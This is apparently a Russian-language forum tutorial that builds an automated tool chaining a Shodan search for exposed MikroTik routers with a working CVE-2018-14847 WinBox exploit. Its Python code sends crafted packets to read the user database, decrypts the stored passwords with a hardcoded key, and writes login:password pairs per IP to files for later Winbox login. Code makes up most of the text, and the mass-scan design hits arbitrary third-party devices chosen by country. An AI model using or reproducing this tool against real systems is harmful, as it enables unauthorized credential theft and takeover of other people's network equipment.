Общий салам. Сегодня мы напишем программу, используя Shodan API найдем уязвимые MikroTik и проэксплуатируем CVE-2018-14847 и все это в автоматическом режиме.
Для начала создаем виртуальную среду Python:
Затем зайдем в нее:
И, наконец, установим Shodan:
Код эксплоита был взят у автора с Github: https://github.com/dharmitviradia/Mikrotik-WinBox-Exploit (код изменен под мой скрипт)
Создаем файл main.py с таким содержанием:
Внимательно, в этом коде нужно вставить свой Shodan API Key.
Так же при вызове функции search_vulnarable() мы можем задать 3 параметра, в том числе мы можем сделать перебор версий через цикл for, а так же сделать перебор по списку стран(страны должны быть в формате 2 букв(ISO))
Далее создаем файл exploit.py с таким содержанием:
Данный файл проводит эксплоит и в зависимости от результата возвращает либо False, либо массив логин:пароль.
И создаем extract_user.py с содержанием:
Данный файл позволяет извлечь нужные нам кредсы.
Далее запускаем программу:
Результатом программы являются .txt файлы в формате {ip}_exploit.txt, в котором содержатся все кредсы, которые удалось извлечь. Файлы сохраняются только в случае удачного эксплоита. Отмечу, что кредсы использовать нужно в Winbox.
Минус данного скрипта:
- Скан только по 8291 порту
Всем удачных пентестов.
Дополнительные материалы:
nvd.nist.gov
Для начала создаем виртуальную среду Python:
Bash:
python3 -m venv .venv
Bash:
source .venv/bin/activate
Bash:
pip3 install shodan
Создаем файл main.py с таким содержанием:
Python:
"""
CVE-2018-14847
6.29-6.41
"""
import re
import json
from shodan import Shodan
import exploit as cve
api = Shodan("") # API KEY
def search_vulnarable(limit=10, version=6.29, country="US") -> dict:
hosts = []
for i in range(1, limit + 1):
r = api.search(f'os:"MikroTik RouterOS {version}" port:8291 country:{country}', page=i)
if r['total'] != 0:
for host in r['matches']:
hosts.append(host['ip_str'])
else:
break
return hosts
def exploit(hosts: dict):
for host in hosts:
print(host)
try:
res = cve.attack(host)
except Exception as e:
continue
if res:
w = ""
for creds in res:
w += creds + "\n"
with open(f"{host}_exploit.txt", "w") as file:
file.write(w)
file.close()
hosts = search_vulnarable(version=6.41, country="RO", limit=2)
exploit(hosts)
Так же при вызове функции search_vulnarable() мы можем задать 3 параметра, в том числе мы можем сделать перебор версий через цикл for, а так же сделать перебор по списку стран(страны должны быть в формате 2 букв(ISO))
Далее создаем файл exploit.py с таким содержанием:
Python:
import socket
import sys
from extract_user import dump
def attack(ip: str):
a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00]
b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00]
port = 8291
#Initialize Socket
s = socket.socket()
s.settimeout(3)
try:
s.connect((ip, port))
except Exception as e:
print("Connection error: " + str(e))
return False
#Convert to bytearray for manipulation
a = bytearray(a)
b = bytearray(b)
#Send hello and recieve the sesison id
s.send(a)
try:
d = bytearray(s.recv(1024))
except Exception as e:
print("Connection error: " + str(e))
return False
#Replace the session id in template
b[19] = d[38]
#Send the edited response
s.send(b)
d = bytearray(s.recv(1024))
#Get results
if len(d[55:]) > 25:
return dump(d[55:])
else:
return False
Данный файл проводит эксплоит и в зависимости от результата возвращает либо False, либо массив логин:пароль.
И создаем extract_user.py с содержанием:
Python:
import sys, hashlib
def decrypt_password(user, pass_enc):
key = hashlib.md5(user + b"283i4jfkai3389").digest()
passw = ""
for i in range(0, len(pass_enc)):
passw += chr(pass_enc[i] ^ key[i % len(key)])
return passw.split("\x00")[0]
def extract_user_pass_from_entry(entry):
user_data = entry.split(b"\x01\x00\x00\x21")[1]
pass_data = entry.split(b"\x11\x00\x00\x21")[1]
user_len = user_data[0]
pass_len = pass_data[0]
username = user_data[1:1 + user_len]
password = pass_data[1:1 + pass_len]
return username, password
def get_pair(data):
user_list = []
entries = data.split(b"M2")[1:]
for entry in entries:
try:
user, pass_encrypted = extract_user_pass_from_entry(entry)
except:
continue
pass_plain = decrypt_password(user, pass_encrypted)
user = user.decode("ascii")
user_list.append((user, pass_plain))
return user_list
def dump(data):
user_pass = get_pair(data)
creds = []
for u, p in user_pass:
creds.append(f"{u}:{p}")
return creds
Далее запускаем программу:
Bash:
python3 main.py
Результатом программы являются .txt файлы в формате {ip}_exploit.txt, в котором содержатся все кредсы, которые удалось извлечь. Файлы сохраняются только в случае удачного эксплоита. Отмечу, что кредсы использовать нужно в Winbox.
Минус данного скрипта:
- Скан только по 8291 порту
Всем удачных пентестов.
Дополнительные материалы:
NVD - CVE-2018-14847
CVE-2018-14847 : MikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated
CVE-2018-14847 : MikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.
www.cvedetails.com